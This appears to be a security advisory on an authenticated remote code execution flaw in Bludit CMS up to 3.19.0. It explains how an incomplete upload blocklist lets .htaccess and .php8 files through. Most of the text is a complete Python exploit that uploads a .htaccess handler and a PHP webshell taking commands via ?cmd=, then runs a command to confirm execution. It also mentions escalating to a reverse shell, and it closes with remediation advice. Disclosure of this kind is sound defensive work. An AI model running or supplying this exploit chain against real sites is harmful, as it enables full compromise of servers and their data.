Bludit CMS RCE is a critical authenticated Remote Code Execution vulnerability affecting Bludit CMS versions up to and including 3.19.0. This Bludit CMS RCE flaw exists in the API file upload endpoint, where the file extension blocklist is incomplete – it blocks common PHP extensions but misses .php8 and fails to block .htaccess uploads entirely. An attacker with API write permissions can upload a .htaccess file to enable PHP execution for non-blocked extensions, then upload a PHP webshell to achieve arbitrary command execution on the server.
Vulnerability Details
The uploadFile() function in bl-plugins/api/plugin.php implements an extension blocklist to prevent PHP file uploads:
$blockedExtensions = ['php', 'phtml', 'php3', 'php4', 'php5', 'php7', 'phps', 'pht', 'phar'];
$ext = strtolower(pathinfo($filename, PATHINFO_EXTENSION));
if (in_array($ext, $blockedExtensions)) {
return array('status' => '1', 'message' => 'File type not allowed.');
} This blocklist has two critical gaps:
- .htaccess is not blocked – Allows an attacker to modify Apache configuration per-directory, enabling PHP execution for any arbitrary file extension.
- .php8 is not blocked – A valid PHP extension on modern Apache/PHP 8.x installations that gets executed as PHP code.
Bludit CMS RCE Exploitation Chain
The attack works in two steps:
First, upload a .htaccess file via the API that adds the PHP handler for the .php8 extension.
Second, upload a PHP webshell with the .php8 extension – which bypasses the blocklist entirely. The webshell executes as www-data and gives the attacker full command execution on the server.
Affected Versions
- Vulnerable: Bludit <= 3.19.0 (latest stable) with API plugin enabled
- Prerequisite: Valid API token + authentication token (admin API write access)
- CVSS: 7.2 (High) – AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
- CWE: CWE-434 (Unrestricted Upload of File with Dangerous Type)
Bludit CMS RCE Proof of Concept
The PoC exploit automates the full chain: verifies API access, uploads the .htaccess to enable PHP for .php8, uploads a webshell with the bypassed extension, and confirms remote code execution by running system commands.
#!/usr/bin/env python3
"""
Bludit CMS <= 3.19.0 - Authenticated RCE via .htaccess Upload
Extension Blocklist Bypass
Exploit Author: Yahia Hamza (https://yh.do)
"""
import requests, sys, argparse
def upload_file(target, api_token, auth_token, page_key, filename, content):
url = f"{target}/api/files/{page_key}"
files = {'file': (filename, content, 'application/octet-stream')}
data = {'token': api_token, 'authentication': auth_token}
r = requests.post(url, files=files, data=data, timeout=15)
return r.json().get("status") == "0", r.json()
def exploit(target, api_token, auth_token, page_key):
target = target.rstrip('/')
# Step 1: Upload .htaccess
ok, r = upload_file(target, api_token, auth_token, page_key,
".htaccess", "AddType application/x-httpd-php .php8")
if not ok: sys.exit("[-] .htaccess upload failed")
print("[+] .htaccess uploaded")
# Step 2: Upload webshell as .php8
shell = '<?php if(isset($_GET["cmd"])){echo shell_exec($_GET["cmd"]);} ?>'
ok, r = upload_file(target, api_token, auth_token, page_key, "shell.php8", shell)
if not ok: sys.exit("[-] Shell upload failed")
shell_url = f"{target}/bl-content/uploads/pages/{page_key}/shell.php8"
print(f"[+] Shell: {shell_url}")
# Step 3: Verify RCE
r = requests.get(f"{shell_url}?cmd=id")
print(f"[+] RCE: {r.text.strip()}")
if __name__ == "__main__":
p = argparse.ArgumentParser()
p.add_argument("-t", "--target", required=True)
p.add_argument("-a", "--api-token", required=True)
p.add_argument("-u", "--auth-token", required=True)
p.add_argument("-p", "--page-key", default="create-your-own-content")
args = p.parse_args()
exploit(args.target, args.api_token, args.auth_token, args.page_key) Reverse Shell
After the webshell is uploaded, an attacker can escalate to a full interactive reverse shell using the command execution capability. The webshell accepts arbitrary commands through the ?cmd= parameter, which can be used to spawn a reverse connection back to the attacker’s machine.
Remediation
- Replace the extension blocklist with a whitelist approach – only allow known safe file types (jpg, png, gif, pdf, txt, zip, etc.)
- Block all dotfiles (filenames starting with .) to prevent .htaccess uploads
- Validate file content, not just the extension
- Consider disabling the API plugin if not actively used



